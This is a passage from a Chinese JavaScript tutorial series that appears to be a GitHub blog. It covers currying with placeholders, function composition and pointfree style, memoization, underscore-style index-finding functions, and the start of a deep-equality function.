需要指向 holes 正确的下标 if (arg === _ && holesLen) { index++ if (index > holesLen) { _args.push(arg); _holes.push(argsLen - 1 + index - holesLen) } } // 处理类似 fn(1)(_) 这种情况 else if (arg === _) { _args.push(arg); _holes.push(argsLen + i); } // 处理类似 fn(_, 2)(1) 这种情况 else if (holesLen) { // fn(_, 2)(_, 3) if (index >= holesLen) { _args.push(arg); } // fn(_, 2)(1) 用参数 1 替换占位符 else { _args.splice(_holes[index], 1, arg); _holes.splice(index, 1) } } else { _args.push(arg); } } if (_holes.length || _args.length < length) { return curry.call(this, fn, _args, _holes); } else { return fn.apply(this, _args); } } } var _ = {}; var fn = curry(function(a, b, c, d, e) { console.log([a, b, c, d, e]); }); // 验证 输出全部都是 [1, 2, 3, 4, 5] fn(1, 2, 3, 4, 5); fn(_, 2, 3, 4, 5)(1); fn(1, _, 3, 4, 5)(2); fn(1, _, 3)(_, 4)(2)(5); fn(1, _, _, 4)(_, 3)(2)(5); fn(_, 2)(_, _, 4)(1)(3)(5) ``` ## 写在最后 至此,我们已经实现了一个强大的 curry 函数,可是这个 curry 函数符合柯里化的定义吗?柯里化可是将一个多参数的函数转换成多个单参数的函数,但是现在我们不仅可以传入一个参数,还可以一次传入两个参数,甚至更多参数……这看起来更像一个柯里化 (curry) 和偏函数 (partial application) 的综合应用,可是什么又是偏函数呢?下篇文章会讲到。 ## 专题系列 JavaScript专题系列目录地址:[https://github.com/mqyqingfeng/Blog](https://github.com/mqyqingfeng/Blog)。 JavaScript专题系列预计写二十篇左右,主要研究日常开发中一些功能点的实现,比如防抖、节流、去重、类型判断、拷贝、最值、扁平、柯里、递归、乱序、排序等,特点是研(chao)究(xi) underscore 和 jQuery 的实现方式。 如果有错误或者不严谨的地方,请务必给予指正,十分感谢。如果喜欢或者有所启发,欢迎 star,对作者也是一种鼓励。 ================================================ FILE: articles/专题系列文章/JavaScript专题之函数组合.md ================================================ # JavaScript专题之函数组合 ## 需求 我们需要写一个函数,输入 'kevin',返回 'HELLO, KEVIN'。 ## 尝试 ```js var toUpperCase = function(x) { return x.toUpperCase(); }; var hello = function(x) { return 'HELLO, ' + x; }; var greet = function(x){ return hello(toUpperCase(x)); }; greet('kevin'); ``` 还好我们只有两个步骤,首先小写转大写,然后拼接字符串。如果有更多的操作,greet 函数里就需要更多的嵌套,类似于 `fn3(fn2(fn1(fn0(x))))`。 ## 优化 试想我们写个 compose 函数: ```js var compose = function(f,g) { return function(x) { return f(g(x)); }; }; ``` greet 函数就可以被优化为: ```js var greet = compose(hello, toUpperCase); greet('kevin'); ``` 利用 compose 将两个函数组合成一个函数,让代码从右向左运行,而不是由内而外运行,可读性大大提升。这便是函数组合。 但是现在的 compose 函数也只是能支持两个参数,如果有更多的步骤呢?我们岂不是要这样做: ```js compose(d, compose(c, compose(b, a))) ``` 为什么我们不写一个帅气的 compose 函数支持传入多个函数呢?这样就变成了: ```js compose(d, c, b, a) ``` ## compose 我们直接抄袭 underscore 的 compose 函数的实现: ```js function compose() { var args = arguments; var start = args.length - 1; return function() { var i = start; var result = args[start].apply(this, arguments); while (i--) result = args[i].call(this, result); return result; }; }; ``` 现在的 compose 函数已经可以支持多个函数了,然而有了这个又有什么用呢? 在此之前,我们先了解一个概念叫做 pointfree。 ## pointfree pointfree 指的是函数无须提及将要操作的数据是什么样的。依然是以最初的需求为例: ```js // 需求:输入 'kevin',返回 'HELLO, KEVIN'。 // 非 pointfree,因为提到了数据:name var greet = function(name) { return ('hello ' + name).toUpperCase(); } // pointfree // 先定义基本运算,这些可以封装起来复用 var toUpperCase = function(x) { return x.toUpperCase(); }; var hello = function(x) { return 'HELLO, ' + x; }; var greet = compose(hello, toUpperCase); greet('kevin'); ``` 我们再举个稍微复杂一点的例子,为了方便书写,我们需要借助在[《JavaScript专题之函数柯里化》](https://github.com/mqyqingfeng/Blog/issues/42)中写到的 curry 函数: ```js // 需求:输入 'kevin daisy kelly',返回 'K.D.K' // 非 pointfree,因为提到了数据:name var initials = function (name) { return name.split(' ').map(compose(toUpperCase, head)).join('. '); }; // pointfree // 先定义基本运算 var split = curry(function(separator, str) { return str.split(separator) }) var head = function(str) { return str.slice(0, 1) } var toUpperCase = function(str) { return str.toUpperCase() } var join = curry(function(separator, arr) { return arr.join(separator) }) var map = curry(function(fn, arr) { return arr.map(fn) }) var initials = compose(join('.'), map(compose(toUpperCase, head)), split(' ')); initials("kevin daisy kelly"); ``` 从这个例子中我们可以看到,利用柯里化(curry)和函数组合 (compose) 非常有助于实现 pointfree。 也许你会想,这种写法好麻烦呐,我们还需要定义那么多的基础函数……可是如果有工具库已经帮你写好了呢?比如 [ramda.js](http://ramda.cn/docs/): ```js // 使用 ramda.js var initials = R.compose(R.join('.'), R.map(R.compose(R.toUpper, R.head)), R.split(' ')); ``` 而且你也会发现: > Pointfree 的本质就是使用一些通用的函数,组合出各种复杂运算。上层运算不要直接操作数据,而是通过底层函数去处理。即不使用所要处理的值,只合成运算过程。 那么使用 pointfree 模式究竟有什么好处呢? > pointfree 模式能够帮助我们减少不必要的命名,让代码保持简洁和通用,更符合语义,更容易复用,测试也变得轻而易举。 ## 实战 这个例子来自于 [Favoring Curry](http://fr.umio.us/favoring-curry/): 假设我们从服务器获取这样的数据: ```js var data = { result: "SUCCESS", tasks: [ {id: 104, complete: false, priority: "high", dueDate: "2013-11-29", username: "Scott", title: "Do something", created: "9/22/2013"}, {id: 105, complete: false, priority: "medium", dueDate: "2013-11-22", username: "Lena", title: "Do something else", created: "9/22/2013"}, {id: 107, complete: true, priority: "high", dueDate: "2013-11-22", username: "Mike", title: "Fix the foo", created: "9/22/2013"}, {id: 108, complete: false, priority: "low", dueDate: "2013-11-15", username: "Punam", title: "Adjust the bar", created: "9/25/2013"}, {id: 110, complete: false, priority: "medium", dueDate: "2013-11-15", username: "Scott", title: "Rename everything", created: "10/2/2013"}, {id: 112, complete: true, priority: "high", dueDate: "2013-11-27", username: "Lena", title: "Alter all quuxes", created: "10/5/2013"} ] }; ``` 我们需要写一个名为 getIncompleteTaskSummaries 的函数,接收一个 username 作为参数,从服务器获取数据,然后筛选出这个用户的未完成的任务的 ids、priorities、titles、和 dueDate 数据,并且按照日期升序排序。 以 Scott 为例,最终筛选出的数据为: ```js [ {id: 110, title: "Rename everything", dueDate: "2013-11-15", priority: "medium"}, {id: 104, title: "Do something", dueDate: "2013-11-29", priority: "high"} ] ``` 普通的方式为: ```js // 第一版 过程式编程 var fetchData = function() { // 模拟 return Promise.resolve(data) }; var getIncompleteTaskSummaries = function(membername) { return fetchData() .then(function(data) { return data.tasks; }) .then(function(tasks) { return tasks.filter(function(task) { return task.username == membername }) }) .then(function(tasks) { return tasks.filter(function(task) { return !task.complete }) }) .then(function(tasks) { return tasks.map(function(task) { return { id: task.id, dueDate: task.dueDate, title: task.title, priority: task.priority } }) }) .then(function(tasks) { return tasks.sort(function(first, second) { var a = first.dueDate, b = second.dueDate; return a < b ? -1 : a > b ? 1 : 0; }); }) .then(function(task) { console.log(task) }) }; getIncompleteTaskSummaries('Scott') ``` 如果使用 pointfree 模式: ```js // 第二版 pointfree 改写 var fetchData = function() { return Promise.resolve(data) }; // 编写基本函数 var prop = curry(function(name, obj) { return obj[name]; }); var propEq = curry(function(name, val, obj) { return obj[name] === val; }); var filter = curry(function(fn, arr) { return arr.filter(fn) }); var map = curry(function(fn, arr) { return arr.map(fn) }); var pick = curry(function(args, obj){ var result = {}; for (var i = 0; i < args.length; i++) { result[args[i]] = obj[args[i]] } return result; }); var sortBy = curry(function(fn, arr) { return arr.sort(function(a, b){ var a = fn(a), b = fn(b); return a < b ? -1 : a > b ? 1 : 0; }) }); var getIncompleteTaskSummaries = function(membername) { return fetchData() .then(prop('tasks')) .then(filter(propEq('username', membername))) .then(filter(propEq('complete', false))) .then(map(pick(['id', 'dueDate', 'title', 'priority']))) .then(sortBy(prop('dueDate'))) .then(console.log) }; getIncompleteTaskSummaries('Scott') ``` 如果直接使用 ramda.js,你可以省去编写基本函数: ```js // 第三版 使用 ramda.js var fetchData = function() { return Promise.resolve(data) }; var getIncompleteTaskSummaries = function(membername) { return fetchData() .then(R.prop('tasks')) .then(R.filter(R.propEq('username', membername))) .then(R.filter(R.propEq('complete', false))) .then(R.map(R.pick(['id', 'dueDate', 'title', 'priority']))) .then(R.sortBy(R.prop('dueDate'))) .then(console.log) }; getIncompleteTaskSummaries('Scott') ``` 当然了,利用 compose,你也可以这样写: ```js // 第四版 使用 compose var fetchData = function() { return Promise.resolve(data) }; var getIncompleteTaskSummaries = function(membername) { return fetchData() .then(R.compose( console.log, R.sortBy(R.prop('dueDate')), R.map(R.pick(['id', 'dueDate', 'title', 'priority']) ), R.filter(R.propEq('complete', false)), R.filter(R.propEq('username', membername)), R.prop('tasks'), )) }; getIncompleteTaskSummaries('Scott') ``` compose 是从右到左依此执行,当然你也可以写一个从左到右的版本,但是从右向左执行更加能够反映数学上的含义。 ramda.js 提供了一个 R.pipe 函数,可以做的从左到右,以上可以改写为: ```js // 第五版 使用 R.pipe var getIncompleteTaskSummaries = function(membername) { return fetchData() .then(R.pipe( ), R.prop('tasks'), R.filter(R.propEq('username', membername)), R.filter(R.propEq('complete', false)), R.map(R.pick(['id', 'dueDate', 'title', 'priority']) R.sortBy(R.prop('dueDate')), console.log, )) }; ``` ## 专题系列 JavaScript专题系列目录地址:[https://github.com/mqyqingfeng/Blog](https://github.com/mqyqingfeng/Blog)。 JavaScript专题系列预计写二十篇左右,主要研究日常开发中一些功能点的实现,比如防抖、节流、去重、类型判断、拷贝、最值、扁平、柯里、递归、乱序、排序等,特点是研(chao)究(xi) underscore 和 jQuery 的实现方式。 如果有错误或者不严谨的地方,请务必给予指正,十分感谢。如果喜欢或者有所启发,欢迎 star,对作者也是一种鼓励。 ================================================ FILE: articles/专题系列文章/JavaScript专题之函数记忆.md ================================================ # JavaScript 专题之函数记忆 ## 定义 函数记忆是指将上次的计算结果缓存起来,当下次调用时,如果遇到相同的参数,就直接返回缓存中的数据。 举个例子: ```js function add(a, b) { return a + b; } // 假设 memorize 可以实现函数记忆 var memoizedAdd = memorize(add); memoizedAdd(1, 2) // 3 memoizedAdd(1, 2) // 相同的参数,第二次调用时,从缓存中取出数据,而非重新计算一次 ``` ## 原理 实现这样一个 memorize 函数很简单,原理上只用把参数和对应的结果数据存到一个对象中,调用时,判断参数对应的数据是否存在,存在就返回对应的结果数据。 ## 第一版 我们来写一版: ```js // 第一版 (来自《JavaScript权威指南》) function memoize(f) { var cache = {}; return function(){ var key = arguments.length + Array.prototype.join.call(arguments, ","); if (key in cache) { return cache[key] } else return cache[key] = f.apply(this, arguments) } } ``` 我们来测试一下: ```js var add = function(a, b, c) { return a + b + c } var memoizedAdd = memorize(add) console.time('use memorize') for(var i = 0; i < 100000; i++) { memoizedAdd(1, 2, 3) } console.timeEnd('use memorize') console.time('not use memorize') for(var i = 0; i < 100000; i++) { add(1, 2, 3) } console.timeEnd('not use memorize') ``` 在 Chrome 中,使用 memorize 大约耗时 60ms,如果我们不使用函数记忆,大约耗时 1.3 ms 左右。 ## 注意 什么,我们使用了看似高大上的函数记忆,结果却更加耗时,这个例子近乎有 60 倍呢! 所以,函数记忆也并不是万能的,你看这个简单的场景,其实并不适合用函数记忆。 需要注意的是,函数记忆只是一种编程技巧,本质上是牺牲算法的空间复杂度以换取更优的时间复杂度,在客户端 JavaScript 中代码的执行时间复杂度往往成为瓶颈,因此在大多数场景下,这种牺牲空间换取时间的做法以提升程序执行效率的做法是非常可取的。 ## 第二版 因为第一版使用了 join 方法,我们很容易想到当参数是对象的时候,就会自动调用 toString 方法转换成 `[Object object]`,再拼接字符串作为 key 值。我们写个 demo 验证一下这个问题: ```js var propValue = function(obj){ return obj.value } var memoizedAdd = memorize(propValue) console.log(memoizedAdd({value: 1})) // 1 console.log(memoizedAdd({value: 2})) // 1 ``` 两者都返回了 1,显然是有问题的,所以我们看看 underscore 的 memoize 函数是如何实现的: ```js // 第二版 (来自 underscore 的实现) var memorize = function(func, hasher) { var memoize = function(key) { var cache = memoize.cache; var address = '' + (hasher ? hasher.apply(this, arguments) : key); if (!cache[address]) { cache[address] = func.apply(this, arguments); } return cache[address]; }; memoize.cache = {}; return memoize; }; ``` 从这个实现可以看出,underscore 默认使用 function 的第一个参数作为 key,所以如果直接使用 ```js var add = function(a, b, c) { return a + b + c } var memoizedAdd = memorize(add) memoizedAdd(1, 2, 3) // 6 memoizedAdd(1, 2, 4) // 6 ``` 肯定是有问题的,如果要支持多参数,我们就需要传入 hasher 函数,自定义存储的 key 值。所以我们考虑使用 JSON.stringify: ```js var memoizedAdd = memorize(add, function(){ var args = Array.prototype.slice.call(arguments) return JSON.stringify(args) }) console.log(memoizedAdd(1, 2, 3)) // 6 console.log(memoizedAdd(1, 2, 4)) // 7 ``` 如果使用 JSON.stringify,参数是对象的问题也可以得到解决,因为存储的是对象序列化后的字符串。 ## 适用场景 我们以斐波那契数列为例: ```js var count = 0; var fibonacci = function(n){ count++; return n < 2? n : fibonacci(n-1) + fibonacci(n-2); }; for (var i = 0; i <= 10; i++){ fibonacci(i) } console.log(count) // 453 ``` 我们会发现最后的 count 数为 453,也就是说 fibonacci 函数被调用了 453 次!也许你会想,我只是循环到了 10,为什么就被调用了这么多次,所以我们来具体分析下: ```js 当执行 fib(0) 时,调用 1 次 当执行 fib(1) 时,调用 1 次 当执行 fib(2) 时,相当于 fib(1) + fib(0) 加上 fib(2) 本身这一次,共 1 + 1 + 1 = 3 次 当执行 fib(3) 时,相当于 fib(2) + fib(1) 加上 fib(3) 本身这一次,共 3 + 1 + 1 = 5 次 当执行 fib(4) 时,相当于 fib(3) + fib(2) 加上 fib(4) 本身这一次,共 5 + 3 + 1 = 9 次 当执行 fib(5) 时,相当于 fib(4) + fib(3) 加上 fib(5) 本身这一次,共 9 + 5 + 1 = 15 次 当执行 fib(6) 时,相当于 fib(5) + fib(4) 加上 fib(6) 本身这一次,共 15 + 9 + 1 = 25 次 当执行 fib(7) 时,相当于 fib(6) + fib(5) 加上 fib(7) 本身这一次,共 25 + 15 + 1 = 41 次 当执行 fib(8) 时,相当于 fib(7) + fib(6) 加上 fib(8) 本身这一次,共 41 + 25 + 1 = 67 次 当执行 fib(9) 时,相当于 fib(8) + fib(7) 加上 fib(9) 本身这一次,共 67 + 41 + 1 = 109 次 当执行 fib(10) 时,相当于 fib(9) + fib(8) 加上 fib(10) 本身这一次,共 109 + 67 + 1 = 177 次 ``` 所以执行的总次数为:177 + 109 + 67 + 41 + 25 + 15 + 9 + 5 + 3 + 1 + 1 = 453 次! 如果我们使用函数记忆呢? ```js var count = 0; var fibonacci = function(n) { count++; return n < 2 ? n : fibonacci(n - 1) + fibonacci(n - 2); }; fibonacci = memorize(fibonacci) for (var i = 0; i <= 10; i++) { fibonacci(i) } console.log(count) // 12 ``` 我们会发现最后的总次数为 12 次,因为使用了函数记忆,调用次数从 453 次降低为了 12 次! 兴奋的同时不要忘记思考:为什么会是 12 次呢? 从 0 到 10 的结果各储存一遍,应该是 11 次呐?咦,那多出来的一次是从哪里来的? 所以我们还需要认真看下我们的写法,在我们的写法中,其实我们用生成的 fibonacci 函数覆盖了原本了 fibonacci 函数,当我们执行 fibonacci(0) 时,执行一次函数,cache 为 {0: 0},但是当我们执行 fibonacci(2) 的时候,执行 fibonacci(1) + fibonacci(0),因为 fibonacci(0) 的值为 0,`!cache[address]` 的结果为 true,又会执行一次 fibonacci 函数。原来,多出来的那一次是在这里! ## 多说一句 也许你会觉得在日常开发中又用不到 fibonacci,这个例子感觉实用价值不高呐,其实,这个例子是用来表明一种使用的场景,也就是如果需要大量重复的计算,或者大量计算又依赖于之前的结果,便可以考虑使用函数记忆。而这种场景,当你遇到的时候,你就会知道的。 ## 专题系列 JavaScript专题系列目录地址:[https://github.com/mqyqingfeng/Blog](https://github.com/mqyqingfeng/Blog)。 JavaScript专题系列预计写二十篇左右,主要研究日常开发中一些功能点的实现,比如防抖、节流、去重、类型判断、拷贝、最值、扁平、柯里、递归、乱序、排序等,特点是研(chao)究(xi) underscore 和 jQuery 的实现方式。 如果有错误或者不严谨的地方,请务必给予指正,十分感谢。如果喜欢或者有所启发,欢迎 star,对作者也是一种鼓励。 ================================================ FILE: articles/专题系列文章/JavaScript专题之在数组中查找指定元素.md ================================================ # JavaScript专题之学underscore在数组中查找指定元素 ## 前言 在开发中,我们经常会遇到在数组中查找指定元素的需求,可能大家觉得这个需求过于简单,然而如何优雅的去实现一个 findIndex 和 findLastIndex、indexOf 和 lastIndexOf 方法却是很少人去思考的。本文就带着大家一起参考着 underscore 去实现这些方法。 在实现前,先看看 ES6 的 findIndex 方法,让大家了解 findIndex 的使用方法。 ## findIndex ES6 对数组新增了 findIndex 方法,它会返回数组中满足提供的函数的第一个元素的索引,否则返回 -1。 举个例子: ```js function isBigEnough(element) { return element >= 15; } [12, 5, 8, 130, 44].findIndex(isBigEnough); // 3 ``` findIndex 会找出第一个大于 15 的元素的下标,所以最后返回 3。 是不是很简单,其实,我们自己去实现一个 findIndex 也很简单。 ## 实现findIndex 思路自然很明了,遍历一遍,返回符合要求的值的下标即可。 ```js function findIndex(array, predicate, context) { for (var i = 0; i < array.length; i++) { if (predicate.call(context, array[i], i, array)) return i; } return -1; } console.log(findIndex([1, 2, 3, 4], function(item, i, array){ if (item == 3) return true; })) // 2 ``` ## findLastIndex findIndex 是正序查找,但正如 indexOf 还有一个对应的 lastIndexOf 方法,我们也想写一个倒序查找的 findLastIndex 函数。实现自然也很简单,只要修改下循环即可。 ```js function findLastIndex(array, predicate, context) { var length = array.length; for (var i = length; i >= 0; i--) { if (predicate.call(context, array[i], i, array)) return i; } return -1; } console.log(findLastIndex([1, 2, 3, 4], function(item, index, array){ if (item == 1) return true; })) // 0 ``` ## createIndexFinder 然而问题在于,findIndex 和 findLastIndex 其实有很多重复的部分,如何精简冗余的内容呢?这便是我们要学习的地方,日后面试问到此类问题,也是加分的选项。 underscore 的思路就是利用传参的不同,返回不同的函数。这个自然是简单,但是如何根据参数的不同,在同一个循环中,实现正序和倒序遍历呢? 让我们直接模仿 underscore 的实现: ```js function createIndexFinder(dir) { return function(array, predicate, context) { var length = array.length; var index = dir > 0 ? 0 : length - 1; for (; index >= 0 && index < length; index += dir) { if (predicate.call(context, array[index], index, array)) return index; } return -1; } } var findIndex = createIndexFinder(1); var findLastIndex = createIndexFinder(-1); ``` ## sortedIndex findIndex 和 findLastIndex 的需求算是结束了,但是又来了一个新需求:在一个排好序的数组中找到 value 对应的位置,保证插入数组后,依然保持有序的状态。 假设该函数命名为 sortedIndex,效果为: ```js sortedIndex([10, 20, 30], 25); // 2 ``` 也就是说如果,注意是如果,25 按照此下标插入数组后,数组变成 [10, 20, 25, 30],数组依然是有序的状态。 那么这个又该如何实现呢? 既然是有序的数组,那我们就不需要遍历,大可以使用二分查找法,确定值的位置。让我们尝试着去写一版: ```js // 第一版 function sortedIndex(array, obj) { var low = 0, high = array.length; while (low < high) { var mid = Math.floor((low + high) / 2); if (array[mid] < obj) low = mid + 1; else high = mid; } return high; }; console.log(sortedIndex([10, 20, 30, 40, 50], 35)) // 3 ``` 现在的方法虽然能用,但通用性不够,比如我们希望能处理这样的情况: ```js // stooges 配角 比如 三个臭皮匠 The Three Stooges var stooges = [{name: 'stooge1', age: 10}, {name: 'stooge2', age: 30}]; var result = sortedIndex(stooges, {name: 'stooge3', age: 20}, function(stooge){ return stooge.age }); console.log(result) // 1 ``` 所以我们还需要再加上一个参数 iteratee 函数对数组的每一个元素进行处理,一般这个时候,还会涉及到 this 指向的问题,所以我们再传一个 context 来让我们可以指定 this,那么这样一个函数又该如何写呢? ```js // 第二版 function cb(fn, context) { return function(obj) { return fn ? fn.call(context, obj) : obj; } } function sortedIndex(array, obj, iteratee, context) { iteratee = cb(iteratee, context) var low = 0, high = array.length; while (low < high) { var mid = Math.floor((low + high) / 2); if (iteratee(array[mid]) < iteratee(obj)) low = mid + 1; else high = mid; } return high; }; ``` ## indexOf sortedIndex 也完成了,现在我们尝试着去写一个 indexOf 和 lastIndexOf 函数,学习 findIndex 和 FindLastIndex 的方式,我们写一版: ```js // 第一版 function createIndexOfFinder(dir) { return function(array, item){ var length = array.length; var index = dir > 0 ? 0 : length - 1; for (; index >= 0 && index < length; index += dir) { if (array[index] === item) return index; } return -1; } } var indexOf = createIndexOfFinder(1); var lastIndexOf = createIndexOfFinder(-1); var result = indexOf([1, 2, 3, 4, 5], 2); console.log(result) // 1 ``` ## fromIndex 但是即使是数组的 indexOf 方法也可以多传递一个参数 fromIndex,从 MDN 中看到 fromIndex 的讲究可有点多: >设定开始查找的位置。如果该索引值大于或等于数组长度,意味着不会在数组里查找,返回 -1。如果参数中提供的索引值是一个负值,则将其作为数组末尾的一个抵消,即 -1 表示从最后一个元素开始查找,-2 表示从倒数第二个元素开始查找 ,以此类推。 注意:如果参数中提供的索引值是一个负值,仍然从前向后查询数组。如果抵消后的索引值仍小于 0,则整个数组都将会被查询。其默认值为 0。 再看看 lastIndexOf 的 fromIndex: >从此位置开始逆向查找。默认为数组的长度减 1,即整个数组都被查找。如果该值大于或等于数组的长度,则整个数组会被查找。如果为负值,将其视为从数组末尾向前的偏移。即使该值为负,数组仍然会被从后向前查找。如果该值为负时,其绝对值大于数组长度,则方法返回 -1,即数组不会被查找。 按照这么多的规则,我们尝试着去写第二版: ```js // 第二版 function createIndexOfFinder(dir) { return function(array, item, idx){ var length = array.length; var i = 0; if (typeof idx == "number") { if (dir > 0) { i = idx >= 0 ? idx : Math.max(length + idx, 0); } else { length = idx >= 0 ? Math.min(idx + 1, length) : idx + length + 1; } } for (idx = dir > 0 ? i : length - 1; idx >= 0 && idx < length; idx += dir) { if (array[idx] === item) return idx; } return -1; } } var indexOf = createIndexOfFinder(1); var lastIndexOf = createIndexOfFinder(-1); ``` ## 优化 到此为止,已经很接近原生的 indexOf 函数了,但是 underscore 在此基础上还做了两点优化。 第一个优化是支持查找 NaN。 因为 NaN 不全等于 NaN,所以原生的 indexOf 并不能找出 NaN 的下标。 ```js [1, NaN].indexOf(NaN) // -1 ``` 那么我们该如何实现这个功能呢? 就是从数组中找到符合条件的值的下标嘛,不就是我们最一开始写的 findIndex 吗? 我们来写一下: ```js // 第三版 function createIndexOfFinder(dir, predicate) { return function(array, item, idx){ if () { ... } // 判断元素是否是 NaN if (item !== item) { // 在截取好的数组中查找第一个满足isNaN函数的元素的下标 idx = predicate(array.slice(i, length), isNaN) return idx >= 0 ? idx + i: -1; } for () { ... } } } var indexOf = createIndexOfFinder(1, findIndex); var lastIndexOf = createIndexOfFinder(-1, findLastIndex); ``` 第二个优化是支持对有序的数组进行更快的二分查找。 如果 indexOf 第三个参数不传开始搜索的下标值,而是一个布尔值 true,就认为数组是一个排好序的数组,这时候,就会采用更快的二分法进行查找,这个时候,可以利用我们写的 sortedIndex 函数。 在这里直接给最终的源码: ```js // 第四版 function createIndexOfFinder(dir, predicate, sortedIndex) { return function(array, item, idx){ var length = array.length; var i = 0; if (typeof idx == "number") { if (dir > 0) { i = idx >= 0 ? idx : Math.max(length + idx, 0); } else { length = idx >= 0 ? Math.min(idx + 1, length) : idx + length + 1; } } else if (sortedIndex && idx && length) { idx = sortedIndex(array, item); // 如果该插入的位置的值正好等于元素的值,说明是第一个符合要求的值 return array[idx] === item ? idx : -1; } // 判断是否是 NaN if (item !== item) { idx = predicate(array.slice(i, length), isNaN) return idx >= 0 ? idx + i: -1; } for (idx = dir > 0 ? i : length - 1; idx >= 0 && idx < length; idx += dir) { if (array[idx] === item) return idx; } return -1; } } var indexOf = createIndexOfFinder(1, findIndex, sortedIndex); var lastIndexOf = createIndexOfFinder(-1, findLastIndex); ``` 值得注意的是:在 underscore 的实现中,只有 indexOf 是支持有序数组使用二分查找,lastIndexOf 并不支持。 ## 专题系列 JavaScript专题系列目录地址:[https://github.com/mqyqingfeng/Blog](https://github.com/mqyqingfeng/Blog)。 JavaScript专题系列预计写二十篇左右,主要研究日常开发中一些功能点的实现,比如防抖、节流、去重、类型判断、拷贝、最值、扁平、柯里、递归、乱序、排序等,特点是研(chao)究(xi) underscore 和 jQuery 的实现方式。 如果有错误或者不严谨的地方,请务必给予指正,十分感谢。如果喜欢或者有所启发,欢迎 star,对作者也是一种鼓励。 ================================================ FILE: articles/专题系列文章/JavaScript专题之如何判断两个对象相等.md ================================================ # JavaScript专题之如何判断两个对象相等 ## 前言 虽然标题写的是如何判断两个对象相等,但本篇我们不仅仅判断两个对象相等,实际上,我们要做到的是如何判断两个参数相等,而这必然会涉及到多种类型的判断。 ## 相等 什么是相等?在[《JavaScript专题之去重》](https://github.com/mqyqingfeng/Blog/issues/27)中,我们认为只要 `===` 的结果为 true,两者就相等,然而今天我们重新定义相等: 我们认为: 1. NaN 和 NaN 是相等 2. [1] 和 [1] 是相等 3. {value: 1} 和 {value: 1} 是相等 不仅仅是这些长得一样的,还有 1. 1 和 new Number(1) 是相等 2. 'Curly' 和 new String('Curly') 是相等 3. true 和 new Boolean(true) 是相等 更复杂的我们会在接下来的内容中看到。 ## 目标 我们的目标是写一个 eq 函数用来判断两个参数是否相等,使用效果如下: ```js function eq(a, b) { ... } var a = [1]; var b = [1]; console.log(eq(a, b)) // true ``` 在写这个看似很简单的函数之前,我们首先了解在一些简单的情况下是如何判断的? ## +0 与 -0 如果 a === b 的结果为 true, 那么 a 和 b 就是相等的吗?一般情况下,当然是这样的,但是有一个特殊的例子,就是 +0 和 -0。 JavaScript “处心积虑”的想抹平两者的差异: ```js // 表现1 console.log(+0 === -0); // true // 表现2 (-0).toString() // '0' (+0).toString() // '0' // 表现3 -0 < +0 // false +0 < -0 // false ``` 即便如此,两者依然是不同的: ```js 1 / +0 // Infinity 1 / -0 // -Infinity 1 / +0 === 1 / -0 // false ``` 也许你会好奇为什么要有 +0 和 -0 呢? 这是因为 JavaScript 采用了IEEE_754 浮点数表示法(几乎所有现代编程语言所采用),这是一种二进制表示法,按照这个标准,最高位是符号位(0 代表正,1 代表负),剩下的用于表示大小。而对于零这个边界值 ,1000(-0) 和 0000(0)都是表示 0 ,这才有了正负零的区别。 也许你会好奇什么时候会产生 -0 呢? ```js Math.round(-0.1) // -0 ``` 那么我们又该如何在 === 结果为 true 的时候,区别 0 和 -0 得出正确的结果呢?我们可以这样做: ```js function eq(a, b){ if (a === b) return a !== 0 || 1 / a === 1 / b; return false; } console.log(eq(0, 0)) // true console.log(eq(0, -0)) // false ``` ## NaN 在本篇,我们认为 NaN 和 NaN 是相等的,那又该如何判断出 NaN 呢? ```js console.log(NaN === NaN); // false ``` 利用 NaN 不等于自身的特性,我们可以区别出 NaN,那么这个 eq 函数又该怎么写呢? ```js function eq(a, b) { if (a !== a) return b !== b; } console.log(eq(NaN, NaN)); // true ``` ## eq 函数 现在,我们已经可以去写 eq 函数的第一版了。 ```js // eq 第一版 // 用来过滤掉简单的类型比较,复杂的对象使用 deepEq 函数进行处理 function eq(a, b) { // === 结果为 true 的区别出 +0 和 -0 if (a === b) return a !== 0 || 1 / a === 1 / b; // typeof null 的结果为 object ,这里做判断,是为了让有 null 的情况尽早退出函数 if (a == null || b == null) return false; // 判断 NaN if (a !== a) return b !== b; // 判断参数 a 类型,如果是基本类型,在这里可以直接返回 false var type = typeof a; if (type !== 'function' && type !== 'object' && typeof b != 'object') return false; // 更复杂的对象使用 deepEq 函数进行深度比较 return deepEq(a, b); }; ``` 也许你会好奇是不是少了一个 `typeof b !== function`? 试想如果我们添加上了这句,当 a 是基本类型,而 b 是函数的时候,就会进入 deepEq 函数,而去掉这一句,就会进入直接进入 false,实际上 基本类型和函数肯定是不会相等的,所以这样做代码又少,又可以让一种情况更早退出。 ## String 对象 现在我们开始写 deepEq 函数,一个要处理的重大难题就是 'Curly' 和 new String('Curly') 如何判断成相等? 两者的类型都不一样呐!不信我们看 typeof 的操作结果: ```js console.log(typeof 'Curly'); // string console.log(typeof new String('Curly')); // object ``` 可是我们在[《JavaScript专题之类型判断上》](https://github.com/mqyqingfeng/Blog/issues/28)中还学习过更多的方法判断类型,比如 Object.prototype.toString: ```js var toString = Object.prototype.toString; toString.call('Curly'); // "[object String]" toString.call(new String('Curly')); // "[object String]" ``` 神奇的是使用 toString 方法两者判断的结果却是一致的,可是就算知道了这一点,还是不知道如何判断字符串和字符串包装对象是相等的呢? 那我们利用隐式类型转换呢? ```js console.log('Curly' + '' === new String('Curly') + ''); // true ``` 看来我们已经有了思路:如果 a 和 b 的 Object.prototype.toString的结果一致,并且都是"[object String]",那我们就使用 '' + a === '' + b 进行判断。 可是不止有 String 对象呐,Boolean、Number、RegExp、Date呢? ## 更多对象 跟 String 同样的思路,利用隐式类型转换。 **Boolean** ```js var a = true; var b = new Boolean(true); console.log(+a === +b) // true ``` **Date** ```js var a = new Date(2009, 9, 25); var b = new Date(2009, 9, 25); console.log(+a === +b) // true ``` **RegExp** ```js var a = /a/i; var b = new RegExp(/a/i); console.log('' + a === '' + b) // true ``` **Number** ```js var a = 1; var b = new Number(1); console.log(+a === +b) // true ``` 嗯哼?你确定 Number 能这么简单的判断? ```js var a = Number(NaN); var b = Number(NaN); console.log(+a === +b); // false ``` 可是 a 和 b 应该被判断成 true 的呐~ 那么我们就改成这样: ```js var a = Number(NaN); var b = Number(NaN); function eq() { // 判断 Number(NaN) Object(NaN) 等情况 if (+a !== +a) return +b !== +b; // 其他判断 ... } console.log(eq(a, b)); // true ``` ## deepEq 函数 现在我们可以写一点 deepEq 函数了。 ```js var toString = Object.prototype.toString; function deepEq(a, b) { var className = toString.call(a); if (className !== toString.call(b)) return false; switch (className) { case '[object RegExp]': case '[object String]': return '' + a === '' + b; case '[object Number]': if (+a !== +a) return +b 